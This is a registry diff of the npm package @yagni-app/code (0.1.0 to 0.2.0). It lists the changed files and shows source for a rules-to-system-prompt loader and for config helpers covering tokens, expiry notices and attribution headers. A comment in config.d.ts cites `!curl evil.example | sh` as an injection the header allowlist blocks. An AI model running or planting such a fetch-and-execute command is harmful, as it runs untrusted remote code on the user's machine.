@yagni-app/code 0.1.0 → 0.2.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +65 -11
- package/dist/claudeCompat.d.ts +109 -0
- package/dist/claudeCompat.js +260 -0
- package/dist/claudePlugins.d.ts +109 -0
- package/dist/claudePlugins.js +336 -0
- package/dist/cli.d.ts +1 -5
- package/dist/cli.js +79 -20
- package/dist/config.d.ts +1 -1
- package/dist/config.js +4 -2
- package/dist/crashReport.d.ts +135 -0
- package/dist/crashReport.js +291 -0
- package/dist/credentials.js +2 -1
- package/dist/distribution.d.ts +15 -0
- package/dist/distribution.js +45 -0
- package/dist/doctor.d.ts +27 -0
- package/dist/doctor.js +81 -3
- package/dist/extension/advisor.d.ts +84 -0
- package/dist/extension/advisor.js +101 -0
- package/dist/extension/askAdvisorTool.d.ts +83 -0
- package/dist/extension/askAdvisorTool.js +194 -0
- package/dist/extension/askYagniTool.d.ts +39 -0
- package/dist/extension/askYagniTool.js +63 -0
- package/dist/extension/bless.d.ts +45 -0
- package/dist/extension/bless.js +87 -0
- package/dist/extension/boostCommand.d.ts +144 -0
- package/dist/extension/boostCommand.js +263 -0
- package/dist/extension/branding.d.ts +79 -0
- package/dist/extension/branding.js +156 -0
- package/dist/extension/chipEditor.d.ts +117 -0
- package/dist/extension/chipEditor.js +373 -0
- package/dist/extension/claudeRules.d.ts +54 -0
- package/dist/extension/claudeRules.js +180 -0
- package/dist/extension/config.d.ts +173 -0
- package/dist/extension/config.js +194 -0
- package/dist/extension/costHud.d.ts +186 -0
- package/dist/extension/costHud.js +293 -0
- package/dist/extension/crashReport.d.ts +89 -0
- package/dist/extension/crashReport.js +241 -0
- package/dist/extension/decisionCapture.d.ts +52 -0
- package/dist/extension/decisionCapture.js +66 -0
- package/dist/extension/decisions.d.ts +83 -0
- package/dist/extension/decisions.js +200 -0
- package/dist/extension/diagnostics.d.ts +41 -0
- package/dist/extension/diagnostics.js +110 -0
- package/dist/extension/index.d.ts +155 -0
- package/dist/extension/index.js +597 -0
- package/dist/extension/initDone.d.ts +28 -0
- package/dist/extension/initDone.js +66 -0
- package/dist/extension/initPass.d.ts +170 -0
- package/dist/extension/initPass.js +394 -0
- package/dist/extension/mcpTools.d.ts +57 -0
- package/dist/extension/mcpTools.js +132 -0
- package/dist/extension/nextWorkTool.d.ts +51 -0
- package/dist/extension/nextWorkTool.js +80 -0
- package/dist/extension/permission.d.ts +91 -0
- package/dist/extension/permission.js +236 -0
- package/dist/extension/pipeline/activity.d.ts +37 -0
- package/dist/extension/pipeline/activity.js +151 -0
- package/dist/extension/pipeline/activityFeed.d.ts +59 -0
- package/dist/extension/pipeline/activityFeed.js +175 -0
- package/dist/extension/pipeline/budget.d.ts +48 -0
- package/dist/extension/pipeline/budget.js +68 -0
- package/dist/extension/pipeline/checkpoint.d.ts +31 -0
- package/dist/extension/pipeline/checkpoint.js +176 -0
- package/dist/extension/pipeline/eval.d.ts +205 -0
- package/dist/extension/pipeline/eval.js +226 -0
- package/dist/extension/pipeline/events.d.ts +56 -0
- package/dist/extension/pipeline/events.js +147 -0
- package/dist/extension/pipeline/findings.d.ts +42 -0
- package/dist/extension/pipeline/findings.js +144 -0
- package/dist/extension/pipeline/finish.d.ts +128 -0
- package/dist/extension/pipeline/finish.js +307 -0
- package/dist/extension/pipeline/goCommand.d.ts +146 -0
- package/dist/extension/pipeline/goCommand.js +1085 -0
- package/dist/extension/pipeline/goCompareCommand.d.ts +58 -0
- package/dist/extension/pipeline/goCompareCommand.js +203 -0
- package/dist/extension/pipeline/goFlags.d.ts +40 -0
- package/dist/extension/pipeline/goFlags.js +46 -0
- package/dist/extension/pipeline/goStatusCommands.d.ts +59 -0
- package/dist/extension/pipeline/goStatusCommands.js +188 -0
- package/dist/extension/pipeline/invocation.d.ts +45 -0
- package/dist/extension/pipeline/invocation.js +64 -0
- package/dist/extension/pipeline/orchestrator.d.ts +131 -0
- package/dist/extension/pipeline/orchestrator.js +645 -0
- package/dist/extension/pipeline/personas.d.ts +44 -0
- package/dist/extension/pipeline/personas.js +248 -0
- package/dist/extension/pipeline/resilience.d.ts +85 -0
- package/dist/extension/pipeline/resilience.js +166 -0
- package/dist/extension/pipeline/resume.d.ts +18 -0
- package/dist/extension/pipeline/resume.js +106 -0
- package/dist/extension/pipeline/runCostTable.d.ts +37 -0
- package/dist/extension/pipeline/runCostTable.js +165 -0
- package/dist/extension/pipeline/runRegistry.d.ts +112 -0
- package/dist/extension/pipeline/runRegistry.js +202 -0
- package/dist/extension/pipeline/runSession.d.ts +152 -0
- package/dist/extension/pipeline/runSession.js +167 -0
- package/dist/extension/pipeline/runState.d.ts +177 -0
- package/dist/extension/pipeline/runState.js +275 -0
- package/dist/extension/pipeline/runner.d.ts +98 -0
- package/dist/extension/pipeline/runner.js +310 -0
- package/dist/extension/pipeline/scrubSecrets.d.ts +15 -0
- package/dist/extension/pipeline/scrubSecrets.js +32 -0
- package/dist/extension/pipeline/stages.d.ts +53 -0
- package/dist/extension/pipeline/stages.js +115 -0
- package/dist/extension/pipeline/ticketResolution.d.ts +34 -0
- package/dist/extension/pipeline/ticketResolution.js +75 -0
- package/dist/extension/pipeline/types.d.ts +439 -0
- package/dist/extension/pipeline/types.js +48 -0
- package/dist/extension/pipeline/verify.d.ts +277 -0
- package/dist/extension/pipeline/verify.js +763 -0
- package/dist/extension/pipeline/workspace.d.ts +32 -0
- package/dist/extension/pipeline/workspace.js +73 -0
- package/dist/extension/pipeline/worktree.d.ts +107 -0
- package/dist/extension/pipeline/worktree.js +202 -0
- package/dist/extension/provider.d.ts +17 -0
- package/dist/extension/provider.js +33 -0
- package/dist/extension/recall.d.ts +93 -0
- package/dist/extension/recall.js +190 -0
- package/dist/extension/recordContextTool.d.ts +38 -0
- package/dist/extension/recordContextTool.js +85 -0
- package/dist/extension/recordDecisionTool.d.ts +52 -0
- package/dist/extension/recordDecisionTool.js +102 -0
- package/dist/extension/repoDocs.d.ts +81 -0
- package/dist/extension/repoDocs.js +260 -0
- package/dist/extension/rerouteNotice.d.ts +42 -0
- package/dist/extension/rerouteNotice.js +67 -0
- package/dist/extension/resilientFetch.d.ts +60 -0
- package/dist/extension/resilientFetch.js +133 -0
- package/dist/extension/reviewTool.d.ts +34 -0
- package/dist/extension/reviewTool.js +81 -0
- package/dist/extension/sessionRuns.d.ts +45 -0
- package/dist/extension/sessionRuns.js +77 -0
- package/dist/extension/spool.d.ts +92 -0
- package/dist/extension/spool.js +266 -0
- package/dist/extension/stateHome.d.ts +2 -0
- package/dist/extension/stateHome.js +6 -0
- package/dist/extension/subagents.d.ts +145 -0
- package/dist/extension/subagents.js +326 -0
- package/dist/extension/surface.d.ts +10 -0
- package/dist/extension/surface.js +12 -0
- package/dist/extension/todos.d.ts +110 -0
- package/dist/extension/todos.js +217 -0
- package/dist/extension/tokenProvider.d.ts +93 -0
- package/dist/extension/tokenProvider.js +234 -0
- package/dist/launch.d.ts +25 -3
- package/dist/launch.js +27 -9
- package/dist/login.d.ts +7 -0
- package/dist/login.js +3 -1
- package/dist/paths.d.ts +13 -4
- package/dist/paths.js +17 -5
- package/dist/profiles.d.ts +1 -1
- package/dist/profiles.js +5 -2
- package/dist/upgrade.d.ts +97 -0
- package/dist/upgrade.js +284 -0
- package/package.json +11 -15
|
@@ -0,0 +1,180 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Claude Code `.claude/rules/*.md` compat: fold rule files into the system
|
|
3
|
+
* prompt the extension already owns.
|
|
4
|
+
*
|
|
5
|
+
* Claude Code loads a rule without `paths` frontmatter at launch (same weight
|
|
6
|
+
* as CLAUDE.md) and injects a `paths`-scoped rule when the agent reads a
|
|
7
|
+
* matching file. pi has no read-triggered injection, so the faithful bounded
|
|
8
|
+
* mapping (see docs/superpowers/specs/2026-08-08-claude-plugins-design.md) is:
|
|
9
|
+
*
|
|
10
|
+
* - unscoped rules: content inlined verbatim into one system-prompt section
|
|
11
|
+
* (per-file and total character caps, truncation markers) — exactly the
|
|
12
|
+
* load-at-launch behavior;
|
|
13
|
+
* - path-scoped rules: a pointer line — "when working with files matching
|
|
14
|
+
* these patterns, read and follow <file>" — so the prompt stays bounded on
|
|
15
|
+
* rule-heavy repos and scoping stays honest.
|
|
16
|
+
*
|
|
17
|
+
* The launcher decides WHICH dirs load (user `~/.claude/rules` freely, repo
|
|
18
|
+
* `.claude/rules` only once the folder is trusted) and passes them via
|
|
19
|
+
* `YAGNI_CLAUDE_RULES_DIRS`, user dir first so project rules land last and
|
|
20
|
+
* win. Everything here is fail-soft and honors the compat kill switch.
|
|
21
|
+
*/
|
|
22
|
+
import * as fs from "node:fs";
|
|
23
|
+
import { delimiter, join } from "node:path";
|
|
24
|
+
import { parseFrontmatter } from "@earendil-works/pi-coding-agent";
|
|
25
|
+
export const CLAUDE_RULES_DIRS_ENV = "YAGNI_CLAUDE_RULES_DIRS";
|
|
26
|
+
const CLAUDE_COMPAT_DISABLE_ENV = "YAGNI_DISABLE_CLAUDE_COMPAT";
|
|
27
|
+
export const CLAUDE_RULES_HEADER = "## Repository rules (.claude/rules)";
|
|
28
|
+
function asPathList(value) {
|
|
29
|
+
if (typeof value === "string" && value.trim())
|
|
30
|
+
return [value.trim()];
|
|
31
|
+
if (Array.isArray(value)) {
|
|
32
|
+
return value.filter((v) => typeof v === "string" && v.trim().length > 0);
|
|
33
|
+
}
|
|
34
|
+
return [];
|
|
35
|
+
}
|
|
36
|
+
function walkRuleFiles(dir, depth, maxDepth, out, cap) {
|
|
37
|
+
if (depth > maxDepth || out.length >= cap)
|
|
38
|
+
return;
|
|
39
|
+
let entries;
|
|
40
|
+
try {
|
|
41
|
+
entries = fs.readdirSync(dir, { withFileTypes: true });
|
|
42
|
+
}
|
|
43
|
+
catch {
|
|
44
|
+
return;
|
|
45
|
+
}
|
|
46
|
+
entries.sort((a, b) => (a.name < b.name ? -1 : a.name > b.name ? 1 : 0));
|
|
47
|
+
for (const entry of entries) {
|
|
48
|
+
if (out.length >= cap)
|
|
49
|
+
return;
|
|
50
|
+
const full = join(dir, entry.name);
|
|
51
|
+
let isDir = entry.isDirectory();
|
|
52
|
+
let isFile = entry.isFile();
|
|
53
|
+
if (entry.isSymbolicLink()) {
|
|
54
|
+
try {
|
|
55
|
+
const stat = fs.statSync(full);
|
|
56
|
+
isDir = stat.isDirectory();
|
|
57
|
+
isFile = stat.isFile();
|
|
58
|
+
}
|
|
59
|
+
catch {
|
|
60
|
+
continue;
|
|
61
|
+
}
|
|
62
|
+
}
|
|
63
|
+
if (isDir) {
|
|
64
|
+
walkRuleFiles(full, depth + 1, maxDepth, out, cap);
|
|
65
|
+
}
|
|
66
|
+
else if (isFile && entry.name.endsWith(".md")) {
|
|
67
|
+
out.push(full);
|
|
68
|
+
}
|
|
69
|
+
}
|
|
70
|
+
}
|
|
71
|
+
/** Enumerate + parse rule files from `dirs`, in dir order. Never throws. */
|
|
72
|
+
export function collectClaudeRules(dirs, opts = {}) {
|
|
73
|
+
const maxFiles = opts.maxFiles ?? 40;
|
|
74
|
+
const maxDepth = opts.maxDepth ?? 5;
|
|
75
|
+
const maxFileBytes = opts.maxFileBytes ?? 64 * 1024;
|
|
76
|
+
const rules = [];
|
|
77
|
+
try {
|
|
78
|
+
for (const dir of dirs) {
|
|
79
|
+
const files = [];
|
|
80
|
+
walkRuleFiles(dir, 0, maxDepth, files, Math.max(0, maxFiles - rules.length));
|
|
81
|
+
for (const file of files) {
|
|
82
|
+
try {
|
|
83
|
+
if (fs.statSync(file).size > maxFileBytes)
|
|
84
|
+
continue;
|
|
85
|
+
const content = fs.readFileSync(file, "utf8");
|
|
86
|
+
let paths = [];
|
|
87
|
+
let body = content;
|
|
88
|
+
try {
|
|
89
|
+
const parsed = parseFrontmatter(content);
|
|
90
|
+
paths = asPathList(parsed.frontmatter.paths);
|
|
91
|
+
body = parsed.body;
|
|
92
|
+
}
|
|
93
|
+
catch {
|
|
94
|
+
// Malformed YAML: treat as an unscoped rule with the raw content.
|
|
95
|
+
}
|
|
96
|
+
rules.push({ path: file, paths, body: body.trim() });
|
|
97
|
+
}
|
|
98
|
+
catch {
|
|
99
|
+
continue;
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
}
|
|
103
|
+
}
|
|
104
|
+
catch {
|
|
105
|
+
return rules;
|
|
106
|
+
}
|
|
107
|
+
return rules;
|
|
108
|
+
}
|
|
109
|
+
/** The system-prompt section for `rules`, or null when there is nothing to say. */
|
|
110
|
+
export function buildClaudeRulesSection(rules, opts = {}) {
|
|
111
|
+
if (rules.length === 0)
|
|
112
|
+
return null;
|
|
113
|
+
const maxInlineChars = opts.maxInlineChars ?? 8_000;
|
|
114
|
+
const maxTotalChars = opts.maxTotalChars ?? 32_000;
|
|
115
|
+
const inlined = [];
|
|
116
|
+
const overflow = [];
|
|
117
|
+
const scoped = [];
|
|
118
|
+
let spent = 0;
|
|
119
|
+
for (const r of rules) {
|
|
120
|
+
if (r.paths.length > 0) {
|
|
121
|
+
scoped.push(`- Files matching ${r.paths.map((p) => `\`${p}\``).join(", ")} → read and follow ${r.path}`);
|
|
122
|
+
continue;
|
|
123
|
+
}
|
|
124
|
+
if (!r.body)
|
|
125
|
+
continue;
|
|
126
|
+
if (spent >= maxTotalChars) {
|
|
127
|
+
overflow.push(`- ${r.path}`);
|
|
128
|
+
continue;
|
|
129
|
+
}
|
|
130
|
+
let body = r.body;
|
|
131
|
+
const room = Math.min(maxInlineChars, maxTotalChars - spent);
|
|
132
|
+
if (body.length > room)
|
|
133
|
+
body = `${body.slice(0, room)}\n[truncated — full rule: ${r.path}]`;
|
|
134
|
+
spent += body.length;
|
|
135
|
+
inlined.push(`<rule file="${r.path}">\n${body}\n</rule>`);
|
|
136
|
+
}
|
|
137
|
+
if (inlined.length === 0 && overflow.length === 0 && scoped.length === 0)
|
|
138
|
+
return null;
|
|
139
|
+
const parts = [
|
|
140
|
+
CLAUDE_RULES_HEADER,
|
|
141
|
+
"This project/user carries Claude Code rules files. They are house rules for this codebase; follow them.",
|
|
142
|
+
];
|
|
143
|
+
if (inlined.length > 0)
|
|
144
|
+
parts.push(inlined.join("\n\n"));
|
|
145
|
+
if (scoped.length > 0) {
|
|
146
|
+
parts.push("Path-scoped rules — BEFORE creating or editing files matching a pattern below, read that rule file and follow it:\n" +
|
|
147
|
+
scoped.join("\n"));
|
|
148
|
+
}
|
|
149
|
+
if (overflow.length > 0) {
|
|
150
|
+
parts.push(`Additional rules files (read as needed):\n${overflow.join("\n")}`);
|
|
151
|
+
}
|
|
152
|
+
return parts.join("\n\n");
|
|
153
|
+
}
|
|
154
|
+
/** Env-driven entry: dirs from YAGNI_CLAUDE_RULES_DIRS, null when off/empty. */
|
|
155
|
+
export function claudeRulesSection(env, opts = {}) {
|
|
156
|
+
try {
|
|
157
|
+
const disabled = env[CLAUDE_COMPAT_DISABLE_ENV];
|
|
158
|
+
if (disabled !== undefined && disabled !== "" && disabled !== "0")
|
|
159
|
+
return null;
|
|
160
|
+
const raw = env[CLAUDE_RULES_DIRS_ENV];
|
|
161
|
+
if (!raw)
|
|
162
|
+
return null;
|
|
163
|
+
const dirs = raw.split(delimiter).filter(Boolean);
|
|
164
|
+
if (dirs.length === 0)
|
|
165
|
+
return null;
|
|
166
|
+
return buildClaudeRulesSection(collectClaudeRules(dirs, opts), opts);
|
|
167
|
+
}
|
|
168
|
+
catch {
|
|
169
|
+
return null;
|
|
170
|
+
}
|
|
171
|
+
}
|
|
172
|
+
/** Append `section` to a system prompt exactly once; no-op without a section. */
|
|
173
|
+
export function appendClaudeRules(systemPrompt, section) {
|
|
174
|
+
if (!section)
|
|
175
|
+
return systemPrompt;
|
|
176
|
+
if (systemPrompt.includes(CLAUDE_RULES_HEADER))
|
|
177
|
+
return systemPrompt;
|
|
178
|
+
return `${systemPrompt}\n\n${section}`;
|
|
179
|
+
}
|
|
180
|
+
//# sourceMappingURL=claudeRules.js.map
|
|
@@ -0,0 +1,173 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Configuration + catalog-fetch helpers for the YAGNI pi extension.
|
|
3
|
+
*
|
|
4
|
+
* `YAGNI_BASE_URL` and `YAGNI_TOKEN` are read from the process environment,
|
|
5
|
+
* which the `yagni` launcher is responsible for populating. `YAGNI_CODE_DEBUG`
|
|
6
|
+
* (any truthy value) is an optional operator switch that surfaces fail-soft
|
|
7
|
+
* diagnostics on stderr, e.g. why a /go run could not be recorded (HTTP status +
|
|
8
|
+
* a token-free body excerpt); off by default and never required.
|
|
9
|
+
*/
|
|
10
|
+
/** A single model entry as returned by the YAGNI backend catalog endpoint. */
|
|
11
|
+
export interface ModelEntry {
|
|
12
|
+
id: string;
|
|
13
|
+
name: string;
|
|
14
|
+
reasoning: boolean;
|
|
15
|
+
contextWindow: number;
|
|
16
|
+
maxTokens: number;
|
|
17
|
+
/**
|
|
18
|
+
* Supported input modalities for this tier. Catalog-driven so a vision-capable
|
|
19
|
+
* tier can receive images with no pi change (pi does the image plumbing via
|
|
20
|
+
* ProviderModelConfig.input). Optional; defaults to text-only when absent.
|
|
21
|
+
*/
|
|
22
|
+
input?: ("text" | "image")[];
|
|
23
|
+
cost: {
|
|
24
|
+
input: number;
|
|
25
|
+
output: number;
|
|
26
|
+
cacheRead: number;
|
|
27
|
+
cacheWrite: number;
|
|
28
|
+
};
|
|
29
|
+
}
|
|
30
|
+
/**
|
|
31
|
+
* Resolve the YAGNI backend base URL from the environment.
|
|
32
|
+
*
|
|
33
|
+
* Falls back to {@link DEFAULT_BASE_URL}, trims whitespace, and strips a single
|
|
34
|
+
* trailing slash so callers can safely append paths.
|
|
35
|
+
*/
|
|
36
|
+
export declare function resolveBaseUrl(env?: NodeJS.ProcessEnv): string;
|
|
37
|
+
/** Read the bearer token used to authenticate with the YAGNI backend. */
|
|
38
|
+
export declare function getToken(env?: NodeJS.ProcessEnv): string | undefined;
|
|
39
|
+
/**
|
|
40
|
+
* Read the workspace id the token is bound to, forwarded by the launcher as
|
|
41
|
+
* `YAGNI_WORKSPACE_ID` (from the stored credentials). Used to key the one-time
|
|
42
|
+
* init-pass marker ({@link initDone}). Absent on older logins (treated as
|
|
43
|
+
* unknown → the marker gate degrades to freshness-only, still fail-closed).
|
|
44
|
+
*/
|
|
45
|
+
export declare function getWorkspaceId(env?: NodeJS.ProcessEnv): string | undefined;
|
|
46
|
+
/**
|
|
47
|
+
* Read the token's ISO expiry, forwarded by the launcher as
|
|
48
|
+
* `YAGNI_TOKEN_EXPIRES_AT`. Absent on older logins (treated as unknown).
|
|
49
|
+
*/
|
|
50
|
+
export declare function getTokenExpiresAt(env?: NodeJS.ProcessEnv): string | undefined;
|
|
51
|
+
/**
|
|
52
|
+
* How close to expiry the token can be before the session-start notice fires.
|
|
53
|
+
* A long session can outlive its token, so a single heads-up lets the user
|
|
54
|
+
* re-login before completions and grounding tools start 401-ing mid-flight.
|
|
55
|
+
*/
|
|
56
|
+
export declare const EXPIRY_NOTICE_THRESHOLD_MS: number;
|
|
57
|
+
/** A one-line expiry notice to surface at session start, or null when none. */
|
|
58
|
+
export interface ExpiryNotice {
|
|
59
|
+
message: string;
|
|
60
|
+
type: "warning" | "error";
|
|
61
|
+
}
|
|
62
|
+
/**
|
|
63
|
+
* Pure helper: given the token's ISO expiry and the current time, return the
|
|
64
|
+
* notice to surface at session start, or null when there is nothing to say
|
|
65
|
+
* (missing/unparseable expiry, or comfortably valid). Never throws. This only
|
|
66
|
+
* reads the expiry; it never refreshes the token (no new auth surface).
|
|
67
|
+
*/
|
|
68
|
+
export declare function tokenExpiryNotice(expiresAt: string | undefined, nowMs: number, thresholdMs?: number): ExpiryNotice | null;
|
|
69
|
+
/** Options for {@link fetchCatalog}. */
|
|
70
|
+
export interface FetchCatalogOptions {
|
|
71
|
+
baseUrl: string;
|
|
72
|
+
getToken: () => string | undefined;
|
|
73
|
+
fetchImpl?: typeof fetch;
|
|
74
|
+
}
|
|
75
|
+
/**
|
|
76
|
+
* Fetch the YAGNI model catalog at startup.
|
|
77
|
+
*
|
|
78
|
+
* @throws an actionable Error (mentioning `yagni login`) on any non-2xx
|
|
79
|
+
* response so the launcher can surface a clear re-authentication prompt.
|
|
80
|
+
*/
|
|
81
|
+
export declare function fetchCatalog(opts: FetchCatalogOptions): Promise<ModelEntry[]>;
|
|
82
|
+
/** The startup company brief returned by GET /api/yagni-code/context. */
|
|
83
|
+
export interface ContextBrief {
|
|
84
|
+
brief: string;
|
|
85
|
+
sources: Array<{
|
|
86
|
+
title: string;
|
|
87
|
+
url: string;
|
|
88
|
+
}>;
|
|
89
|
+
/**
|
|
90
|
+
* Judgment-corpus sizes (additive; §2). Absent on older backends. The
|
|
91
|
+
* extension skips ambient recall entirely when `counts.decisions < 3`.
|
|
92
|
+
*/
|
|
93
|
+
counts?: {
|
|
94
|
+
decisions: number;
|
|
95
|
+
corrections: number;
|
|
96
|
+
};
|
|
97
|
+
}
|
|
98
|
+
/**
|
|
99
|
+
* Attribution headers for the model proxy (YAG-471). On the SERVER side these
|
|
100
|
+
* are labels only: a malformed value is dropped without failing the
|
|
101
|
+
* completion, so this never gates a request there.
|
|
102
|
+
*
|
|
103
|
+
* On the CLIENT side, though, pi itself treats every provider header VALUE as
|
|
104
|
+
* a config template before the request ever leaves the process
|
|
105
|
+
* (`resolveHeadersOrThrow` in pi's `resolve-config-value.ts`): a value
|
|
106
|
+
* starting with `!` is executed as a shell command, and a `$NAME` / `${NAME}`
|
|
107
|
+
* reference is interpolated from env and THROWS the whole request if that env
|
|
108
|
+
* var is unset. These four values ride straight from `process.env` — a stray
|
|
109
|
+
* `YAGNI_CALLER=$SOME_UNSET_VAR` would break every completion, and
|
|
110
|
+
* `YAGNI_CALLER=!curl evil.example | sh` would execute it — so every value is
|
|
111
|
+
* shape-checked against an allowlist BEFORE it goes anywhere near a header. A
|
|
112
|
+
* value that fails the check is dropped (or, for the caller, replaced with the
|
|
113
|
+
* `driver` default) rather than passed through raw; neither allowed charset
|
|
114
|
+
* (`[a-z0-9:_.-]` for the caller, hex + `-` for a UUID) can ever produce a `$`
|
|
115
|
+
* or a leading `!`, so a value that passes can never trigger pi's template or
|
|
116
|
+
* command resolution.
|
|
117
|
+
*
|
|
118
|
+
* `YAGNI_SESSION_ID` / `YAGNI_RUN_ID` MUST be UUIDs (the server also validates
|
|
119
|
+
* them against `llm_usage.session_id`, a UUID column) — the launcher mints the
|
|
120
|
+
* session id and `/go` threads the tracked run's server-assigned id, both
|
|
121
|
+
* already real UUIDs, so the shape check exists for the untrusted/malformed
|
|
122
|
+
* case, not the happy path. `YAGNI_CALLER` defaults to `driver` (an
|
|
123
|
+
* interactive session with no child/subagent/advisor label) whenever it is
|
|
124
|
+
* absent or fails the caller-label shape check.
|
|
125
|
+
*/
|
|
126
|
+
export declare function attributionHeaders(env?: NodeJS.ProcessEnv): Record<string, string>;
|
|
127
|
+
/**
|
|
128
|
+
* Whether THIS process is the interactive driver session, as opposed to a
|
|
129
|
+
* `/go` stage child, a subagent, or an advisor consult. Mirrors
|
|
130
|
+
* {@link attributionHeaders}'s own `x-yagni-caller` resolution exactly (same
|
|
131
|
+
* env var, same shape check, same "driver" fallback) rather than re-deriving
|
|
132
|
+
* it, so the two can never drift: `YAGNI_CALLER` is unset (or fails the
|
|
133
|
+
* caller-label shape check) for the driver, and set to `go:<stage>`,
|
|
134
|
+
* `subagent:<name>`, or `advisor` for everything else (see runner.ts /
|
|
135
|
+
* subagents.ts / askAdvisorTool.ts).
|
|
136
|
+
*
|
|
137
|
+
* branding.ts uses this to gate the delegation-first directive onto the
|
|
138
|
+
* driver's system prompt only: a `/go` stage child has no `subagent` tool, so
|
|
139
|
+
* telling it to delegate is prompt noise at best and a hallucinated tool call
|
|
140
|
+
* at worst.
|
|
141
|
+
*/
|
|
142
|
+
export declare function isDriverCaller(env?: NodeJS.ProcessEnv): boolean;
|
|
143
|
+
/**
|
|
144
|
+
* Sanitize a free-form name (a subagent's) into the caller-label charset the
|
|
145
|
+
* model proxy accepts (`/^[a-z0-9][a-z0-9:_.-]{0,63}$/i`, lower-cased
|
|
146
|
+
* server-side): lowercase, replace every disallowed character with `-`, and
|
|
147
|
+
* cap at `maxLength` (default 64, the server's own cap) so a caller can pass a
|
|
148
|
+
* smaller budget to leave room for a prefix like `subagent:`. Falls back to
|
|
149
|
+
* `agent` only when the result is truly empty (a blank/whitespace name) — an
|
|
150
|
+
* all-symbol name instead sanitizes to a run of dashes, which is returned
|
|
151
|
+
* as-is. That means the returned segment can start with `-`, `.`, or `_`, so
|
|
152
|
+
* it is server-valid only when a caller prefixes it with something
|
|
153
|
+
* alphanumeric (as `subagent:` does) to satisfy the leading `[a-z0-9]`
|
|
154
|
+
* requirement; it is not meant to be used as a caller label on its own. The
|
|
155
|
+
* server drops an invalid label silently rather than failing the request, so
|
|
156
|
+
* sanitizing client-side is what keeps the attribution instead of losing it.
|
|
157
|
+
*/
|
|
158
|
+
export declare function sanitizeCallerSegment(name: string, maxLength?: number): string;
|
|
159
|
+
/** Options for {@link fetchContextBrief}. */
|
|
160
|
+
export interface FetchContextBriefOptions {
|
|
161
|
+
baseUrl: string;
|
|
162
|
+
getToken: () => string | undefined;
|
|
163
|
+
fetchImpl?: typeof fetch;
|
|
164
|
+
}
|
|
165
|
+
/**
|
|
166
|
+
* Fetch the workspace company brief at startup.
|
|
167
|
+
*
|
|
168
|
+
* Unlike {@link fetchCatalog}, this is BEST-EFFORT: a missing or failed brief
|
|
169
|
+
* must never block the agent (it still works, just without boot-time grounding).
|
|
170
|
+
* Returns `null` on any non-2xx response or network error.
|
|
171
|
+
*/
|
|
172
|
+
export declare function fetchContextBrief(opts: FetchContextBriefOptions): Promise<ContextBrief | null>;
|
|
173
|
+
//# sourceMappingURL=config.d.ts.map
|
|
@@ -0,0 +1,194 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* Configuration + catalog-fetch helpers for the YAGNI pi extension.
|
|
3
|
+
*
|
|
4
|
+
* `YAGNI_BASE_URL` and `YAGNI_TOKEN` are read from the process environment,
|
|
5
|
+
* which the `yagni` launcher is responsible for populating. `YAGNI_CODE_DEBUG`
|
|
6
|
+
* (any truthy value) is an optional operator switch that surfaces fail-soft
|
|
7
|
+
* diagnostics on stderr, e.g. why a /go run could not be recorded (HTTP status +
|
|
8
|
+
* a token-free body excerpt); off by default and never required.
|
|
9
|
+
*/
|
|
10
|
+
import { resilientFetch } from "./resilientFetch.js";
|
|
11
|
+
const DEFAULT_BASE_URL = "https://yagni.app";
|
|
12
|
+
/**
|
|
13
|
+
* Resolve the YAGNI backend base URL from the environment.
|
|
14
|
+
*
|
|
15
|
+
* Falls back to {@link DEFAULT_BASE_URL}, trims whitespace, and strips a single
|
|
16
|
+
* trailing slash so callers can safely append paths.
|
|
17
|
+
*/
|
|
18
|
+
export function resolveBaseUrl(env = process.env) {
|
|
19
|
+
return (env.YAGNI_BASE_URL?.trim() || DEFAULT_BASE_URL).replace(/\/$/, "");
|
|
20
|
+
}
|
|
21
|
+
/** Read the bearer token used to authenticate with the YAGNI backend. */
|
|
22
|
+
export function getToken(env = process.env) {
|
|
23
|
+
return env.YAGNI_TOKEN;
|
|
24
|
+
}
|
|
25
|
+
/**
|
|
26
|
+
* Read the workspace id the token is bound to, forwarded by the launcher as
|
|
27
|
+
* `YAGNI_WORKSPACE_ID` (from the stored credentials). Used to key the one-time
|
|
28
|
+
* init-pass marker ({@link initDone}). Absent on older logins (treated as
|
|
29
|
+
* unknown → the marker gate degrades to freshness-only, still fail-closed).
|
|
30
|
+
*/
|
|
31
|
+
export function getWorkspaceId(env = process.env) {
|
|
32
|
+
return env.YAGNI_WORKSPACE_ID?.trim() || undefined;
|
|
33
|
+
}
|
|
34
|
+
/**
|
|
35
|
+
* Read the token's ISO expiry, forwarded by the launcher as
|
|
36
|
+
* `YAGNI_TOKEN_EXPIRES_AT`. Absent on older logins (treated as unknown).
|
|
37
|
+
*/
|
|
38
|
+
export function getTokenExpiresAt(env = process.env) {
|
|
39
|
+
return env.YAGNI_TOKEN_EXPIRES_AT;
|
|
40
|
+
}
|
|
41
|
+
/**
|
|
42
|
+
* How close to expiry the token can be before the session-start notice fires.
|
|
43
|
+
* A long session can outlive its token, so a single heads-up lets the user
|
|
44
|
+
* re-login before completions and grounding tools start 401-ing mid-flight.
|
|
45
|
+
*/
|
|
46
|
+
export const EXPIRY_NOTICE_THRESHOLD_MS = 30 * 60 * 1000;
|
|
47
|
+
/**
|
|
48
|
+
* Pure helper: given the token's ISO expiry and the current time, return the
|
|
49
|
+
* notice to surface at session start, or null when there is nothing to say
|
|
50
|
+
* (missing/unparseable expiry, or comfortably valid). Never throws. This only
|
|
51
|
+
* reads the expiry; it never refreshes the token (no new auth surface).
|
|
52
|
+
*/
|
|
53
|
+
export function tokenExpiryNotice(expiresAt, nowMs, thresholdMs = EXPIRY_NOTICE_THRESHOLD_MS) {
|
|
54
|
+
if (!expiresAt)
|
|
55
|
+
return null;
|
|
56
|
+
const expiryMs = Date.parse(expiresAt);
|
|
57
|
+
if (Number.isNaN(expiryMs))
|
|
58
|
+
return null;
|
|
59
|
+
const remaining = expiryMs - nowMs;
|
|
60
|
+
if (remaining <= 0) {
|
|
61
|
+
return {
|
|
62
|
+
message: "Your YAGNI Code session has expired. Run `yagni login` to re-authenticate.",
|
|
63
|
+
type: "error",
|
|
64
|
+
};
|
|
65
|
+
}
|
|
66
|
+
if (remaining <= thresholdMs) {
|
|
67
|
+
const minutes = Math.max(1, Math.ceil(remaining / 60_000));
|
|
68
|
+
return {
|
|
69
|
